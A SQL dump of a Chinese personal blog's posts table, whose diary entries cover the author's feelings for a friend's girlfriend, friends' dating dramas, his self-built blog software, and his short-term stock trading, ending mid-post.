INSERT INTO `tb_post` VALUES (138, -1, 0, 0, 1, '我也喜欢你的女朋友', NULL, 0, 'i-like-your-girlfriend-too', '', '昨晚梦到千金了，梦到她趴在我床上，说想亲就直接亲，试探那么多干什么。还说 Lena 之所以看不起我就是因为我太怂。\n\n反常地六点多就醒了，阿婷已经出门上班去了。我冷汗直冒，万一我说了什么不该说的梦话，那就完蛋了。\n\n印象里这已经不是第一次梦到和除了女朋友以外的人暧昧了。犹记得还和戴小姐在一起的时候就有梦到过阿婷，后面真的和阿婷在一起了。现在又梦到千金，这究竟是好事还是坏事我也说不清。我承认我对千金有意思，但我觉得我隐藏得很好，我也不得不隐藏得很好，毕竟千金的男朋友和我是好朋友。\n\n我觉得我对朋友还蛮好的，虽然我的确会喜欢朋友的女朋友，但我还是能控制住的，这都控制不住那他妈的别活了。我觉得我的思想那是大大滴有问题。他妈的，真他妈的草了。朋友们，对不起，我真不是故意的，我也会把持住的。当然要是你们女朋友先主动的，那当我没说。', 1, 46, '', 1, 1, '2021-09-10 02:40:08', '2021-12-23 14:10:54');
INSERT INTO `tb_post` VALUES (142, -1, 0, 0, 1, '木门', NULL, 0, 'wood-door', '我可以站在台上，但倘若你看穿了我的小心思，那离场时请不要让我太难堪。', '去朋友家喝酒之前，我们先去巷子里买了烧烤。据说这家烧烤店已经开了二十五年，烧烤的香味隔着老远都闻得到。老板娘的脾气和炭火一样火爆但生意却出奇地好，吃烧烤的小混混都对老板娘低头哈腰。\n\n豹哥刚在路边停好车，千金就直接下车冲过去了。这家店是少有的能在她心中有一席之地的店。我忽然有点难受，对钟爱探店的她来说，也就只有身家千万的豹哥能天天带她去吃喝玩乐了。每每她吃东西要叫上我的时候，我都还没下班，哪怕有时间能去，也会发现口袋里根本没几个钱。\n\n来之前千金提前打电话点了单，一行人只需要在摊位旁边等着出餐就好了。我环顾四周，摊位对面是一间酒库，绿色的库门两旁有小小的平台，似乎原来是放着石狮子的。我闲着无聊踩了上去，才发现库门刷着的绿漆已经掉了好一片，浅色和深色的绿漆交叠着，盖不住下面红色的木头底。\n\n“这门真漂亮，适合拍照片。”我自言自语提了一嘴，刚要从平台上下来，千金又把我赶了回去，说要给我拍照。我不得已站了回去，全然没了刚才的意境，连内八都出来了。\n\n“你好做作啊。”千金一脸嫌弃。我不敢直视她，生怕我喜欢她的事露馅。她转过头和阿婷嘲笑我我才松了一口气。没想到接着她又让豹哥跟我聊会天，想让我显得自然一些。这根本就起着反作用，我连忙拒绝，直接从平台上跳下来了。\n\n后面回想起来，这真不是我以往的风格。以往别人要说我做作，那我就会故意表现得更做作。和 Lena 纠缠了几年，我以为我应该变得成熟点的。可是那天我就像个害羞的小孩一样，得亏当时是晚上，没人看到我面红耳赤的样子。\n\n我也无数次想过这样下去的后果，想来想去无非就是那么几个结果：要么是这样的暗恋无疾而终，要么是表明了心意然后朋友都没得做，要么是她正好也喜欢我然后两个人小心翼翼躲躲藏藏，又或者是最后累了喜欢上别人了像和 Lena 那样。我也不是普信男，没有信心她正好也喜欢我。这样一想似乎第一个结果好得多，这也正是我擅长的。也许和那扇木门一样，躁动的红色要盖上惨绿的漆，把所有冲动全给隐藏掉。只是希望有朝一日，木门不要变得太斑驳。', 3, 477, '', 1, 0, '2021-10-26 01:25:54', '2021-12-02 11:03:41');
INSERT INTO `tb_post` VALUES (143, -1, 0, 0, 1, '重新开始', NULL, 0, 'restart', '', '最近在单曲循环回春丹乐队的一首歌，叫《正义》。里面歌词是这么唱的：\n\n\n> 我买光所有的炸药 却\n还是炸不掉 他\n给你的碉堡 我\n花光了金币 我\n花光了权利 我\n花光我仅有的正义\n\n\n我反复听了很久，但自己跟着唱的时候，总是想不起「权利」这个词，总把「权利」唱成「精力」。回想起来，自己好像一直都在花钱和精力，却一直没有什么权利。\n\n很多时候我希望自己像一滴水，有个引力一直在拉着我，从高处落下来，落在花朵上，落在叶子上，落在泥土里。然而更多时候我总是落在石头上，摔得支离破碎；又或者是落在溪流里，和别的水滴一起随波逐流，最后变成平庸的一份子。\n\n----\n\n从 6 月份说要重构博客说到现在，过去了差不多半年，博客终于算是勉强能用了。说起这个博客也是命途多舛，一开始的记录已经没有了，唯一留下的记录不过是底部版权信息里的起始年份：2016（现在改成 2015 了）. 事实上开始写独立博客的时间应该更早一些。对于我这个重度三分钟热度患者来说，坚持写博客五年以上还如此费心费力，不知道无聊的究竟是我还是生活。\n\n重构的大部分工作都是在近两周内完成的——在一堆破事追在屁股后面的情况下。原本我就是个受不得突如其来的压力的人。如果发生什么突发状况，我会变得很焦虑，我会想摆烂，然后捂住耳朵做自己喜欢做的事，任凭那堆破事追着 Deadline。仔细一想，也许这也是反抗生活的一种低级形式吧。\n\n今天是 2021 年 12 月 2 日，网上都说今天是世界完全对称日。一大早醒来，发现太阳没有从西边升起来，地球没有停止自转，冬天也还是需要棉袄，楼上也没有停止跺脚。唯一值得我高兴的事是千金大清早给我发消息了。也许这就是我们：在烂透了的生活的夹缝里，总在寻找一丝渺茫的希望，希望操蛋的日子终会过去，然后重新开始。', 0, 511, '', 1, 0, '2021-12-02 10:58:41', '2023-11-22 13:07:37');
INSERT INTO `tb_post` VALUES (144, -1, 0, 0, 1, '重新出发吧', NULL, 0, 'xxx', '', '', 0, 0, '', 1, 1, '2021-12-01 16:06:59', '2021-12-01 16:15:33');
INSERT INTO `tb_post` VALUES (145, -1, 0, 0, 1, 'Extended Play', NULL, 0, '', '', '不尊重女性的土味小明看上的知性妹子嫌弃小明并主动约检测出来玩剧本杀却没有告诉众人她曾经有个重病夭折的两岁女儿但还是被千金扒了出来。', 3, 10, '', 1, 1, '2021-12-07 16:23:34', '2021-12-07 23:04:07');
INSERT INTO `tb_post` VALUES (146, -1, 0, 0, 1, '关于', 'about', 0, 'another-about', '', '------------\n> 这是一篇额外的 About me，是一篇潦草的摸鱼产物。\n\n### 我自己\n生于 1995 年，毕业于某 C9 高校，目前在某不知名 IT 公司摸鱼。\n\n### 我这里\n最开始应该是 2015 年，因为想注册自己的域名，然后顺手搞了个博客，来记录一些想说却无处说的事。\n\n现在采用的是自建博客系统 Doghouse（既然是狗就要有狗屋啊）。可能我对黑箱很着迷，也有可能我不太信任内容托管，无论如何东西还是掌握在自己手上更令我安心。\n\n开发过程参考了 Typecho，说实话 Typecho 用起来是真滴舒服。体验上做了一些修补，比如写文时候插图或者链接的定位，比如优化了的评论管理和垃圾过滤，等等。后台 UI 设计上选了一个半截身子入土的 UI，熟悉的小伙伴应该看出来了，就不额外鞭尸了。\n\n![写文章](/upload/20211209_15465857.png \"写文章\")\n\n前台主题是从 Farbox 年代一直沿用下来的魔改主题，最开始的时候叫 `navy`，是[cho](https://www.chopstack.com)这个大神做的。修改了蛮多样式，然后从他的其他主题扒下来评论框，评论区修成回帖一样的样式。仔细看还是能看出 navy 的影子。\n\n修改的过程中把背景调成了灰色，每个独立的 POST 额外凸显成白色，一开始蛮多文章我都给插了画，像是素色设计办公室桌上的素描本，又像是少女的手账，所以给主题起了个名叫 Sketch，希望虽然潦草但该有的都有。\n\n后端用的是 Spring Boot 框架，好像没有什么好说的。写了 MyBatis-Plus 的联查插件，写查询方便多了。\n\n![Mybatis Plus 联查](/upload/20211209_1747569.png \"Mybatis Plus 联查\")\n<p style=\"text-align:center\">是真的不喜欢写 XML</p>\n\n### Q & A\n#### Fictional / Semi-Fictional 标签下的文章到底是不是虚构的？\n你说是辣就是。\n\n#### 为什么只有 Tags，没有 Categories\n其实是有的，但总觉得侧边栏太多东西了，所以没有放上去\n\n#### 你现在的女朋友到底是谁\n是阿婷。', 3, 37, '', 1, 1, '2021-12-09 15:48:00', '2021-12-09 22:34:48');
INSERT INTO `tb_post` VALUES (147, -1, 0, 0, 1, 'Well Who Am I to Keep You Down', NULL, 0, '', '', '<link rel=\"stylesheet\" href=\"/blog/sketch/css/chat.css\">\n<style>.bubble.you,.bubble.you:before{background-color:#eceff1 !important;color:inherit !important}.bubble.me,.bubble.me:before{background-color:var(--green) !important;color:inherit !important}</style>\n<div class=\"chat-container\">\n    <div class=\"top\">\n        <span>\n            From:\n            <b>\n                千金\n            </b>\n            (只想躺平)\n        </span>\n        <br/>\n    </div>\n    <div class=\"chat anicon\">\n        <div class=\"conversation-start\">\n            <span>\n                2021-11-20, 晚上 22:55\n            </span>\n        </div>\n        <div class=\"bubble me ani\">\n            那个小哥哥挺帅的\n        </div>\n        <div class=\"bubble me ani\">\n            你不考虑一下吗\n        </div>\n        <div class=\"bubble you ani\">\n            哈哈哈哈哈哈哈哈哈\n        </div>\n        <div class=\"bubble you ani\">\n            考虑你\n        </div>\n    </div>\n</div>\n<!--more-->\n\n都说金九银十，年底忙到只能买点 ETF，或者是看哪只连涨妖股，就无脑冲进去打板，然后闭着眼睛装死，任由它涨跌。好像在地上随便捡张小卡片，打电话过去开盲盒，上门的是男是女是人是鬼就不知道了。能量高峰又好像无套做爱完的少女的大姨妈一样——好怕它不来；但打完鸡血又进入了贤者时间，只想躺平啥也不想干。\n\n整个人已经进入到玄学的状态了：手机振动先闭上眼祈祷，千万千万别是傻逼客户；给电车充电的时候充电桩必是 8 号桩，充电电流必须调到 8.8A。脾气也变得暴躁起来：楼上晚上十一点又在跺脚也忍无可忍无需再忍了，三个震楼器 + 三个共振音响伺候上，《少年包青天》恐怖音乐和《越南鼓》DJ 版轮番伺候，觉得惭愧了又开始放《大悲咒》，不放 2Pac 的歌已经是我最大的仁慈了。\n\n身边朋友们过得怎样呢？好像有好有坏。豹哥还是那么有钱，整天在家里看盘，看累了就开着豪车出来探店吃小馆，不过账户里的 20% 的亏损两年了还没回本；检测考资格证通过了，收入应该会水涨船高，不过喜欢的妹妹却是两岁女儿的妈并且他还不知道，前几天磷化工又回撤十几个点，现在才开始翻红；小明……小明就是个傻逼。傻逼小明。\n\n<div class=\"chat-container\" >\n    <div class=\"top\">\n        <span>\n            From:\n            <b>\n                检测\n            </b>\n            (打工十年还是工，梭哈一夜住皇宫)\n        </span>\n        <br/>\n    </div>\n    <div class=\"chat anicon\" style=\"padding-top:30px\">\n        <div class=\"bubble me ani\">\n            <img src=\"/upload/20211211_16320583.png\" alt=\"吃了个涨停\" title=\"吃了个涨停\"/>\n        </div>\n        <div class=\"bubble me ani\">\n            磷化工，狗都不买！\n        </div>\n        <div class=\"bubble you ani\">\n            <img src=\"/upload/20211211_16300392.gif\" alt=\"黑手敬你\" title=\"黑手敬你\"/>\n        </div>\n        <div class=\"conversation-start\">\n            <span>\n                2021-12-15, 上午 11:57\n            </span>\n        </div>\n        <div class=\"bubble me ani\">\n            <img src=\"/upload/20211215_13581355.png\" alt=\"33\" title=\"33\"/>\n        </div>\n        <div class=\"bubble you ani\">\n            别发了别发了，再发人就傻了\n        </div>\n    </div>\n</div>', 1, 57, '', 1, 1, '2021-12-11 15:16:36', '2021-12-15 13:58:57');
INSERT INTO `tb_post` VALUES (148, -1, 0, 0, 1, '谁都迷失但亦前行', NULL, 0, '', '![CityBoy](/upload/20211219_15033730.jpg \"CityBoy\")', '最近两周可以说是赚麻了，66% 的收益率，放在之前我是只敢想却没有任何把握的', 0, 13, 'money', 1, 1, '2021-12-19 15:07:01', '2021-12-21 14:05:42');
INSERT INTO `tb_post` VALUES (149, -1, 0, 0, 1, '暖冬', NULL, 0, 'warm-winter', '果壳上说，1842年，英国剑桥大学圣约翰学院的植物学教授费利•克斯托在研究了粪化石的化学构成后发现：用硫酸对粪化石进行加工处理后可提取出大量磷酸盐，他随后对这一发现成果申请了专利，并很快就应用到了实际中。\n\n我把这段文字截图发给了检测：看吧，人家 1842 年就发现了，磷化工就是💩。检测不回我，他前几天信了我的鬼话，从磷化工割肉出来，25 万本金一头怼进了妖股，现在亏了十几个点，估计恨不得把我杀了。\n\n我安慰他：你想想，你亏钱了，但是张老师主动来找你了，所以亏钱是一件好事。\n\n他似乎被我安慰到了，回道：滚你妈的蛋。', '果壳上说，1842年，英国剑桥大学圣约翰学院的植物学教授费利•克斯托在研究了粪化石的化学构成后发现：用硫酸对粪化石进行加工处理后可提取出大量磷酸盐，他随后对这一发现成果申请了专利，并很快就应用到了实际中。\n\n我把这段文字截图发给了检测：看吧，人家 1842 年就发现了，磷化工就是💩。检测不回我，他前几天信了我的鬼话，从磷化工割肉出来，25 万本金一头怼进了妖股，现在亏了十几个点，估计恨不得把我杀了。\n\n我安慰他：你想想，你亏钱了，但是张老师主动来找你了，所以亏钱是一件好事。\n\n他似乎被我安慰到了，回道：滚你妈的蛋。\n\n----\n\n这周账户出现了大回撤，82% 的盈利率现在只剩百分之五十几了。看着账户里几万几万的数据，我心里一点感觉都没有。可能这是一笔横财，横财本身就是闭着眼心一横来的，本来就不是属于我的。不属于我的东西失去了又有什么好痛心的呢？像葛优在《私人定制》里，记者问他为什么有十个亿都捐，却不愿意捐一辆汽车，葛优说我真有一辆汽车。\n\n冬至的晚上，我们一行人去外面下馆子，吃完东西我们去了江滨公园散步消食。检测和张老师吃烤肉去了，没和我们一起。路过财神庙的时候，我走进去想拜一拜，却发现来的时候两手空空啥也没带。我拿起电子烟抽了两口，吐了好大一团烟雾，就当做是烧香了。结果走的时候发现旁边就摆着几捆香、纸钱和打火石，一旁有个功德箱，上面贴了微信和支付宝的二维码。\n\n我一瞬间有点恍惚，香火圣地贴着二维码，就好像古装剧穿帮了一样，太他妈魔幻了。转眼一想又觉得不对劲，你他妈二维码都贴了，就不能放个打火机，非要放打火石？后面想想好像也能理解，这地方是无人值守的，放打火机很可能一股脑就被后生仔顺走点烟了，但谁也不会把打火石揣兜里顺走的，毕竟太累手了。\n\n有时候我不禁想，这样玄学的东西到底有没有用，财神爷有微信支付吗？会开户炒股吗？做期货吗？融资融券吗？对冲吗？那些个游资主力是不是财神爷在人间的化身，专割不信牛鬼蛇神的人的韭菜？我转过脸去看财神爷，财神爷一直在笑，一句话也没说。我想起刚刚点菜的时候，千金问我想吃什么，我也是一直在笑没有说话。千金说在她老家有一个词专门形容这种一直笑不说话的人，叫「焯水狗」，意思是烧开水煮狗肉的时候，那只狗头也是这样咧开嘴傻笑。\n\n----\n\n回到家里，检测告诉我他和张老师刚看完电影。我说接下来呢？你家她家还是如家？检测没理我，自顾自说道：在网络上聊那么多，不如出来见一面。我不知道怎么回他，心里五味杂陈，一方面为他能和张老师有进展而高兴，另一方面怕他知道张老师的曲折往事后没办法收场。但总体还是高兴的，多出来的那一点高兴是看热闹不嫌事大的高兴。我自诩是一个人间记录者，一个体验者，就像那些去风月场所卧底的记者，玷污自己的身体，只为能获取常人无法体会的秘辛。\n\n经过我的惨淡经营，原本想要拆散他俩的千金，现在已经开始磕他俩的 CP 了。我打心眼里觉得张老师挺好的，谁没有一点不堪回首的过往呢？我真心佩服张老师，要是我遇上这样的事，估计早就被生活打趴下了。想到这我不禁口吐芬芳，生活就是个欺软怕硬的小瘪三，要放在九几年，早他妈被严打枪毙了。\n\n检测也是捡了狗屎运了，回想千金介绍给他的那些个妹妹们，要么是带不动他这个自闭佬无疾而终，要么是有缘无分，最残忍的是有个妹妹很合检测的胃口，夸张到检测这个自闭佬在微信上跟她语音对唱情歌，结果最后妹妹跑到外地发展去了，检测为此难过了好几个月。后来我问千金这个外地妹妹是不是对谁都这样，千金反问：你怎么知道？\n\n我答不上来，我要怎么回答？我说我也和好多妹妹在微信上唱情歌撩骚，然后最后发现彼此都是对方汪洋大海里的一只不起眼的小鱼小虾？这话说出来太掉价，有辱我没心没肺的光辉形象，我一直用各种低俗趣味来伪装我的脆弱，我说不出口。\n\n\n\n张老师说来也怪，自从上次一起玩剧本杀以后，总是隔那么三五天才回检测消息。这次也是打突击战，检测七八天前发给她的消息她还没回复呢，她就这样毫无征兆地开启了新话题，问检测是不是很忙，有没有时间出来约一约。说真的，与其说是检测约的张老师，不如说是张老师主动贴上来的。不过也是，检测就像菊花里硬化了拉不出来的屎，不用手去抠那是根本不会主动探出头来的。\n\n我把这事跟阿婷说。阿婷想了想告诉我：张老师估计是同时发展着好几条线，考察着好几个人，估计是把其他人淘汰了才回来找检测的，不然就算再忙也不可能一个星期也没回检测消息吧？我醍醐灌顶茅塞顿开，前一秒我还在赞扬张老师反抗生活呢，现在我只觉得，这哪是反抗生活，这他妈根本就是在玩弄生活。\n\n----\n\n检测给我发来张老师和他的聊天截图，张老师说有家现煮奶茶好喝，下次带他去喝。还说有个喝下午茶的现烤面包店，哪天下午有空也可以带他去。还说让他上班路上注意安全。我说别一味接受妹妹的好，你也要付出的。检测说不是妹妹，是姐姐。我说姐姐妹妹那不是统称妹妹么。他说确实。\n\n检测说，他觉得姐姐蛮好的，女大三抱金砖。\n\n我说：女大三，抱金砖。女大三十，送江山；女大三百，送仙丹；女大三千，位列仙班；女大三万，王母喂饭；女大三十万，佛祖门前站；女大三百万，仙界你说了算；女大三千万，六界任你转；女大三个亿，盘古是你弟。\n\n检测：放你娘的屁。\n\n点开检测的朋友圈，他转发了 Eason 的《葡萄成熟时》的拉阔，他配文说：大约是冬至。我没来由地高兴，对于我们这群在外漂泊的游子来说，生活中那点微不足道的小火花，就足以温暖我们这一整个冬天了。', 0, 631, '', 1, 0, '2021-12-23 12:26:25', '2023-01-12 18:46:07');
INSERT INTO `tb_post` VALUES (150, -1, 0, 0, 1, '失控', NULL, 0, 'out-of-control', '平安夜的晚上，阿婷和同事们烧烤去了。我打开自嗨锅准备自嗨一下。自嗨锅是阿敏送我的，原本是她的混蛋店长送给她的，但她不喜欢吃。她吩咐我吃的时候给拍张照，好让她转发给店长交差。自嗨锅的说明书上告诉我一定要浇冷水，但我没注意，我给浇了热水，刚浇下去那个发热包就像个河豚一样突然涨得老大，还噗呲噗呲地冒着热气，一副快要炸开的样子，差点没把我吓死。', '平安夜的晚上，阿婷和同事们烧烤去了。我打开自嗨锅准备自嗨一下。自嗨锅是阿敏送我的，原本是她的混蛋店长送给她的，但她不喜欢吃。她吩咐我吃的时候给拍张照，好让她转发给店长交差。自嗨锅的说明书上告诉我一定要浇冷水，但我没注意，我给浇了热水，刚浇下去那个发热包就像个河豚一样突然涨得老大，还噗呲噗呲地冒着热气，一副快要炸开的样子，差点没把我吓死。\n\n我拍照给阿敏，说：你的自嗨锅。\n\n阿敏说：不是我的。\n\n我说：假装是你吃的。\n\n说是自嗨锅，实际上根本嗨不起来，大大的盒子里最多的是土豆和莲藕的蔬菜包，然后是平平无奇的粉条，最后的所谓牛肉就是一坨肉糜，要有人跟我说这是老鼠肉我都不会怀疑。而所谓的火锅底料不过就是方便面的酱包，天气一冷就硬化成棕色的一块，我艰难地把它从包装里挤出来，一条一条的就像在挤屎。他妈的，干脆改名自闭锅算了，谁他妈会对着满是屎的锅自嗨？\n\n检测又和张老师约会去了，他给我拍了他挑选的圣诞盲盒，打算去酒吧小酌的时候送给张老师。我回了句：等妹妹发朋友圈。他又给我强调：不是妹妹，是姐姐。我懒得理他。孤独的平安夜真是百无聊赖，一想到第二天周六还要上班，忽然感觉干什么都没劲儿了。\n\n快十点的时候阿婷才回家，她告诉我：小明炸了。我问咋了，她说小明看到她给张老师的朋友圈点赞了，在微信问她，是怎么认识张老师的。按理来说阿婷是不会认识张老师的——张老师第一次出现的场合阿婷不在，我也没有加张老师的微信。那是后来张老师和检测开始互动以后，大家一起玩剧本杀的时候阿婷才加的。阿婷嘴笨，不知道怎么回，只回了个「你猜」。小明一下就炸了：怎么认识，在哪认识，几时认识。语气像极了革命叛徒审问刘胡兰。\n\n我看着想笑，「你猜」正好是小明的口头禅。没有什么比用对方的话反击对方更贱的了，这不是踩在对方的尾巴上了么。阿婷快急哭了。我接过手机：介绍认识，网上认识，最近认识。小明沉默了，不知道是吃瘪了、自闭了，还是意识到这不是阿婷的语气了。\n\n我把这事给检测说了。我忽然觉得有点难受。我跟检测说：感觉对不起小明。检测嗤笑：有什么好对不起的，不是各凭本事？\n\n我没说话。\n\n质问完阿婷未果，小明在朋友圈发了白色相簿 2 的游戏截图，我明知故问，回了个「？」，他说：确实有点应景。是啊，圣诞到了，又到了白色相簿的季节。但是游戏终归是游戏，二次元也永远不会是现实，艺术源于生活，但永远不会比现实更曲折离奇。要是按着游戏里的那套来就乱了套了：男主必开后宫，妹子必定倒贴，黄毛必定 NTR，这是多少个 Nice boat 都顶不住的血色恐怖。但好像这个世界也会变得简单起来：人人都要挤破头去染黄头发，然后绿帽子满天飞了。\n\n但南方的小城无论再怎么寒冷，却也从来不会下雪。张老师不是春希，检测也不是雪菜，小明更不会是冬马。\n\n小明最终还是知道了检测和张老师的事——第二天我们去 KTV 唱歌没叫上他，当晚他原本拎了一只鸡去小扣家里吃饭，他在微信上给张老师发消息：你会做菜吗，这里缺一个大厨。张老师态度冷漠：不会，你加油。后来小扣把小明送去地铁站，对他说：别去 KTV 了，张老师不想见你。小扣在 KTV 里对我说，小明很是失落。我抬头，检测和张老师挨得很近。大家正好唱到 Eason 的《最佳损友》：是敌与是友，各自也没有自由，位置变了，各有队友。\n\n凭不凭本事不重要，谁赢谁输不重要，我只是觉得，大家都是小明的朋友，却没人帮他说话，包括我。我想起高中时，蓝萤和我舍友搞破鞋，我和朋友们说起这件事，大家都觉得我魔怔了、傻逼了，又或许心里面暗爽。我和小明说起这事，小明一副理中客的样子：蓝萤说她没有做对不起你的事。我以为我穿越了，似乎听到蓝萤在我耳边说：不是各凭本事？我又有点后悔，当初在学校的储物间，蓝萤提出要和我做爱的时候，我就应该把她摁在书堆上狠狠地操的：各凭本事是吧？我操你妈的，我操你妈的。\n\n我不怪小明，也从来没有报复心理。要真报复的话，早在 Lena 身上报了。报复是一种低级手段，你以为你赢了，实际上对方永远盘踞在你脑海里，成为你心里的怪物，在无数个夜晚跳出来，大口大口地吞噬你。\n\n----\n\n2014 年，小明还和 Lena 在一起的时候，偷偷把 Lena 带回家。那时候小明买了两个手柄，我和他经常在他家通宵打机，Lena 推门进来，我吓了一跳。后来小明他爸推门进来，我们都吓了一跳。\n\n我问 Lena：今晚你不回家了么。小明说：今晚她就住在这里了。我说：那我呢？Lena 说：我不介意玩 3P。\n\n最后我们当然没有玩 3P，这令我很是遗憾。我们仨睡在一张床上，小明睡中间。我很久都没有睡着。后来他们分手了，我也是在小明家里打机。我心不在焉。我跟小明说：你要不去和 Lena 道个歉，把 Lena 追回来呗。小明不说话，只是在按着手柄，操纵着的隆把我操纵的肯暴打着，很快就把我 K.O. 了。小明沉默了很久，说：分手是她说的，我对她说，想好了再说，既然她说了，那就是她想好了。\n\n末了，小明说：我不会道歉的，觉得我没有错。\n\n事情是什么时候开始失控的呢？从 Lena 之后开始，似乎大家都变了。小明开始沉迷游戏，变得不尊重女性，似乎世界上的女人没一个好东西。Lena 变得越来越绿茶，似乎世界上的男人没一个好东西。我呢，我原本是个傻逼，后来变成大傻逼了。\n\n自小明之后，Lena 再也没有对谁这么好过，Lena 变得绿茶了起来，而我就是那个见证者。我们总是在做不可理喻的选择，带着不信邪的狂妄往那条错误的道路大步流星，就好像硬要用热水浇发热包，让人濒临爆炸。七年后的今天，当小明真正想开口说话，说出藏在心底里的思念时，才发现那个对他很好的女生，早已经不再等候了。', 3, 632, '', 1, 0, '2021-12-25 16:20:22', '2023-11-22 13:03:02');
INSERT INTO `tb_post` VALUES (151, -1, 0, 0, 1, '测试', NULL, 0, 'xxx', '', '测试', 1, 0, '', 1, 1, '2022-01-03 13:56:35', '2022-01-03 14:07:44');
INSERT INTO `tb_post` VALUES (152, -1, 0, 0, 1, '玩耍', NULL, 0, '', '', '跨年的那一刻，大家都嗨疯了。认识的不认识的人都挤在一起，随着音乐节拍在那里唱着跳着。嗨到深处了，服务员踩在吧台上，一瓶威士忌直接往下倒，下面的人张大嘴巴接着，周围发出一阵尖叫。我被人群挤了出来，突然感到一阵头晕，低头一看手表，心率 150 。我受不了了，赶忙穿过人群到酒吧外面透气。这时候手机振动了，张老师通过了我的好友请求。\n\n<link rel=\"stylesheet\" href=\"/blog/bleaching/css/chat.css\">\n\n<div class=\"chat-container\">\n    <div class=\"top\">\n        <span>\n            From:\n            <b>\n                大垣（おおがき）\n            </b>\n        </span>\n        <br/>\n    </div>\n    <div class=\"chat anicon\">\n        <div class=\"conversation-start\">\n            <span>\n                2022-01-01, 凌晨 00:07\n            </span>\n        </div>\n        <div class=\"bubble you ani\">\n            我通过了你的验证请求，现在我们可以开始聊天了\n        </div>\n        <div class=\"bubble me ani\">\n            新年快乐~\n        </div>\n        <div class=\"bubble you ani\">\n            新年快乐！\n        </div>\n        <div class=\"bubble me ani\">\n            刚才不知道你走了，出来找你找不到，才想着说加你问一下\n        </div>\n        <div class=\"bubble you ani\">\n            哦哦，没事啊\n        </div>\n        <div class=\"bubble you ani\">\n            我觉得我走了你们自在点\n        </div>\n        <div class=\"bubble me ani\">\n            没有，大家都问你去哪了\n        </div>\n        <div class=\"bubble you ani\">\n            我自己能照顾好自己\n        </div>\n        <div class=\"bubble you ani\">\n            不想扫兴\n        </div>\n        <div class=\"bubble you ani\">\n            你们玩开心点吧，这只是个小插曲\n        </div>\n        <div class=\"bubble you ani\">\n            别放心上\n        </div>\n        <div class=\"bubble me ani\">\n            好\n        </div>\n    </div>\n</div>\n\n我有点迷茫，不知道是我在追张老师，还是检测在追张老师。她没等自己的那一杯酒上来，就拎着包径直出去了。我赶紧示意检测跟出去，检测才后知后觉地起身。\n\n后来听箱子说，当时她和 Yuri 在酒吧走道拍照，听到张老师和检测抱怨。张老师说她已经 30 岁的人了，受不了这种场合，觉得尴尬。而检测愣愣地站在旁边，一句话没有说。', 0, 202, '', 1, 0, '2022-01-04 11:51:25', '2023-02-28 15:06:11');
INSERT INTO `tb_post` VALUES (153, -1, 0, 0, 1, '必须以游资的思维去买卖(2022.01.13)', NULL, 0, '', '股市本就是博弈游戏，知己知彼，方能百战不殆。', '### 龙津药业（平仓盈利 25%）\n\n早上龙津大概 7、8 个点的时候止盈了。因为龙津 11、12 号的龙虎榜都有华鑫上海的身影。华鑫上海一般是个量化打板的席位，我研究了一下，华鑫上海一般只会在买榜上待个一两天就会卖：如果没有人接盘的话，那股价肯定是会跌的。那今天是第三天，不出意外是要卖了，但他卖是他的事，我们卖是我们的事。他卖了，我们要不要跟着卖？如果我们不卖，那必须有明确的新游资进场的信号，才不卖。\n\n现在我们先抛开散户的思维，先以游资的思维去看看这件事。\n\n假设我是华鑫上海的操盘手，我肯定想着在股价足够高的时候卖，也就是最好是在板上卖。但是这个板如果没有主力或者游资做最后一波拉升，那光凭散户，就算上去了，那我出货这么多大单，你们散户也接不住，那我一出货就会跳水，边跳水边出货和涨停板上边涨停边出货，哪个更赚？那肯定是后者啊！那我（华鑫上海操盘手）要不要拉上去呢？可以拉，但我最希望的是有人帮我拉，否则如果我自己拉，一来我已经拉了两天了，今天我再拉首先不符合我的既往操盘风格（甚至可能违背了上级定下的规定），二是这样势必会拔高我的**操盘成本**。\n\n这里的操盘成本分很多个部分。一是字面意思，我高位买，那我成本价肯定要上去了；二是延伸意思：也许我原本可以拿这个钱去打其他股性更好的板；三则是博弈：这只股拉升肯定不是我一个人抬轿的结果，肯定有其他游资也在里面，我要是拉升了，你砸盘，那我不就亏了？你要是今天砸了，我前天昨天买的好歹还能卖，我要是今天买的，那明天我要么割肉离场，要么拿更多资金进来自救做 T，花费我时间金钱。\n\n股市说白了还是博弈游戏。\n\n所以我作为华鑫上海的操盘手，我肯定希望有人来接力，大笔大笔的买单冲涨停，大笔封涨停板，然后我择机在板上出货，何乐而不为？但是其他游资也不是傻的：你华鑫上海在榜上两天，我来接力给你出货？除非是艺高人胆大，技术刁钻的游资，或者股票有重大利好，或者像拉萨帮这种 T 狗，否则这种帮别人抬轿的事谁也不干，要干也要等你出完货以后再干。\n\n于是今早就出现了一个景象：高开高走，但是在 8 个点左右横盘震荡。这个时候就很有意思了，散户肯定想着，我草，前天板昨天板，今天开盘就冲高岂不是又要板（反正散户总是后知后觉的）？于是开盘和冲高的时候，包括横盘震荡的时候在那里狂买。但是有什么起色吗？没有。股票拉升和下跌都必须看大单的脸色。但是转念一想其实很容易想清楚，你华鑫上海两个板 20cm 都拉了，现在剩下区区 2cm 你都不拉，你想干啥？\n\n很明显，我想干啥？我不想拉呗，我要出局了呗。不然我要是不出局，我断定明天还要涨，我能不拉么？我巴不得今天的筹码全被我吃了。冲高到 8cm 不拉，说明已经倦了，这个时候其实啥都不用说了，卖了就完了。但是我们以游资的思维再好好延伸一下。\n\n我不拉了，我倦了，但我依然想在板上出货，所以我最希望有人来接盘，所以我稍微和散户一合力，冲到高位了，相当于在宣告：那几个知名游资，赶紧来吧，只差 2cm 就涨停板了，我要离场了。\n\n但是有人来吗？没有。分时图显示，横盘到 10:06 左右，开始第一次跳水。从最高 +8 跌到了最低 +2，止住跌了。其实意思就是说，我左等右等不见有人来，我先出一点点货。后面就是小单一直在买，偶尔有个大单冲高一下，其实是在诱多。因为已经很明显了：没有别的游资来接盘，那我只能采取 Plan B：让散户来拉。\n\n抬轿这事儿，散户在行！\n\n怎么判断是散户在拉？不少软件都有一个功能，是分时上看大单/非大单流入流出的，通达信系的叫 DDX 或者驱动力，东财的叫实时资金流向，意思是一样的，不过每个软件有其自己的判断方式。然后我们可以看到，大单流出（也就是大单主卖）一直在增加，非大单流入（也就是小单主买）也一直在增加，分时走势和大单的流出是背离的。然后看分时量柱，关键的冲高点/拐点总是有一些零碎的大单，但依然没有改变大单一直在主卖的事实。\n\n![龙津220113分时](/upload/20220115_1023520.png \"龙津220113分时\")\n\n拉着拉着，一直到下午 